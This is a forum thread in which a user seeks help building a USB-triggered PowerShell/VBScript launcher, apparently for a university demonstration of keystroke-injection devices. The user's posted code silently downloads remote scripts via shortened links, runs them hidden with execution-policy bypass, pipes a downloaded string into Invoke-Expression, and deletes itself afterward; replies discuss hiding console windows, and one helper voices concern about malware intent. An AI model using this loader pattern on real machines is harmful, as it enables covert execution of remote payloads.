#Running Powershell scripts in the Background. Needing help! : )

84 messages · Page 1 of 1 (latest)

clever mango
#

Hi, soooooo....
What i basically want do is plugging in a USB, then i want to execute a PowerShell command that runs and downloads the script launcher.ps1 (i already have that part coded).

Launcher.ps1 should basically copy a file (bg.ps1) from the USB to the local machine and run it.
I cant host bg.ps1 online because it contains credentials.

Then i want to be able to unplug the USB again.

bg.ps1 should basically run multiple other scripts that are hosted online and give them the credentials as Variables.

The scripts executed by bg.ps1 should be ran in the Background and it would be the best if they could be executed and given the variables without writing the Disk.

Hope i could kinda explain what i want to do, and i hope someone can help me with that : )

Here's what i have yet (bg.ps1 is awful i think...)
https://gist.github.com/Bube787/617d7354c5ef4b58dc70abfa10193d3d

If anyone can help me, thank you very much

Gist

GitHub Gist: instantly share code, notes, and snippets.

#

im gonna sleep now, i will answer tomorrow if someone writes

zealous pond
#

@clever mango
You will never stop the window from popping up. However you can always set the window style as hidden. It will always open up..

  1. PowerShell -WindowStyle Hidden
    You can always use WindowStyle to hide the window as it launches.
  2. Use Windows Task Scheduler
    This will launch it in the background, but it takes a little bit of setup to do this.

All of these methods will briefly launch and hide the window on open. There is no getting around that

exotic drum
#

wscript I believe can avoid the window.

zealous pond
exotic drum
#

you'd have to create a windowed app and then run it via the cli to stop the window I think. if you create a console app, it will always launch a console host.

zealous pond
#

Yeah I was just reading that link:

exotic drum
zealous pond
#

25H1 was when Im expecting VBS to no longer be in Win11.

2019 already deprecated VBS

zealous pond
clever mango
# exotic drum `wscript` I believe can avoid the window.

yeah, i had this: ```vbs
Dim objShell, tempPath, tempFile
Set objShell = CreateObject("WScript.Shell")

' Temp-Verzeichnis und Temp-Dateipfade
tempPath = objShell.ExpandEnvironmentStrings("%TEMP%") & ""

' Funktion zum Herunterladen und Ausführen von Skripten
Function DownloadAndExecuteScript(url, tempFile, arguments)
' Herunterladen der Datei
strDownloadCommand = "powershell -nologo -command ""Invoke-WebRequest -Uri '" & url & "' -OutFile '" & tempFile & "'"""
objShell.Run strDownloadCommand, 0, True

' Ausführen des heruntergeladenen Skripts mit den angegebenen Argumenten
strRunCommand = "powershell -nologo -ExecutionPolicy Bypass -File """ & tempFile & """ " & arguments
objShell.Run strRunCommand, 0, True

End Function

' Skripte nacheinander ausführen
Dim scripts, script
scripts = Array( _
Array("https://is.gd/OooHjZ", "script1.ps1", "'VARIABLE'"), _
Array("https://is.gd/x2XklM", "script2.ps1", "'VARIABLE'") _
)

' Alle Skripte ausführen
For Each script In scripts
tempFile = tempPath & script(1) ' Speichern des Skripts im Temp-Ordner
DownloadAndExecuteScript script(0), tempFile, script(2) ' Argumente werden hier übergeben
Next

' Lösche die VBS-Datei selbst nach der Ausführung
objShell.Run "cmd /c del """ & WScript.ScriptFullName & """", 0, True

#

but it stopped working after i added more than one script

#

does someone know why?

#

like it ran the scripts but i think the problem was that they didnt get the Variables

#

If you could tell me how to fix that, that would be great : )

clever mango
exotic drum
#

In windows there are windowed apps and console apps. You have to use a windowed app without a window for it to work.

clever mango
#

like that?

clever mango
#
' URL des PowerShell-Skripts
Dim scriptUrl
scriptUrl = "http://example.com/script.ps1"

' Variable / Argument das an das Skript übergeben werden soll
Dim whuri
whuri = "VERY_IMPORTANT_STUFF_FOR_VARIABLE"

' PowerShell-Befehl zum Herunterladen und Ausführen des Skripts im Arbeitsspeicher
Dim command
command = "powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command ""(New-Object Net.WebClient).DownloadString('" & scriptUrl & "') | Invoke-Expression -ArgumentList '" & whuri & "'"""

' Shell-Objekt erstellen und Befehl ausführen
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run command, 0, True
exotic drum
clever mango
exotic drum
#

yeah I've kind of lost the thread as to what you want to fully do again.

#

I already showed you how you can change bg.ps1 to something like the the below.

$scripts = @(
    { get-process }
    { get-process | select-object -first 1 }
)

# Iterieren Sie über jedes Skript und starten Sie es als Job
foreach ($script in $scripts) {
    & $script
}
#

I'm still confused as to what you want to do with whuri property / variable.

#

And now that you are really trying to avoid a window for some reason; I'm just not sure about the reasoning for all this code.

clever mango
exotic drum
#

your Execute-Script isn't even being called in bg.ps1.

#

I feel like I still don't have the full story of your scripts.

#

And I don't get all this complexity. why not just have one script? I don't see any redacted credential either.

clever mango
#

im confused too now XD

exotic drum
clever mango
#

im just gonna try it with vbs later

exotic drum
#

well don't invest in vbs as it is dead.

clever mango
exotic drum
#

are you writing this for a business or for personal? If personal, I don't get why you need a usb at all.

#

What are you doing that you need to walk around and physically plug in a usb to so many machines that you need to build this?

clever mango
#

for a demonstration in university

exotic drum
#

well why not just have one script that you pull down and then you enter the passwords interactively?

#

pulling it down from github or the like.

exotic drum
#

yeah i think it is just too complicated at this point. just have one script without any usb.

clever mango
exotic drum
#

trying to design your own usb script runner on top of writing the scripts is too much at this point.

#

so I would drop the start-job and iex and just focus on pure powershell.

clever mango
#

thx

exotic drum
#

what is the university task?

#

it honestly seems like university wants you to make some usb malware...

#

And because I haven't seen other code portions, I start to worry about intent.

clever mango
exotic drum
clever mango
#

like how dangerous they are, how they work and how to prevent being atacked

exotic drum
#

so its keyboard as usb.

clever mango
exotic drum
#

so that gets harder with all the meta programming you have to do and you have to know how the escaping works, etc.

clever mango
exotic drum
#

i mean...just don't plug in random usbs...

#

once you plug it in, you are kind of screwed. i don't think wdac or app locker can help you there. maybe constrained language mode would help.

clever mango
#

and before starting to accept the keystrokes it asks the user wheter he trusts this device or not and requires a password

exotic drum
#

windows or *nix?

clever mango
exotic drum
#

hmm. windows has APIs to run an app to intercept all usb devices?

clever mango
#

you need to change the atack depending on the system, so most atacks are made for windows

clever mango
#

ohhh, you meant that by *nix

#

?

exotic drum
#

yeah *nix stands in for unix and linux and whatever else...

#

bsd isn't linux but is still in that tradition

hushed abyss
zealous pond
exotic drum
#

is --headless new?!

#

looks like it does leave an orphan process though

#

or maybe not.

hushed abyss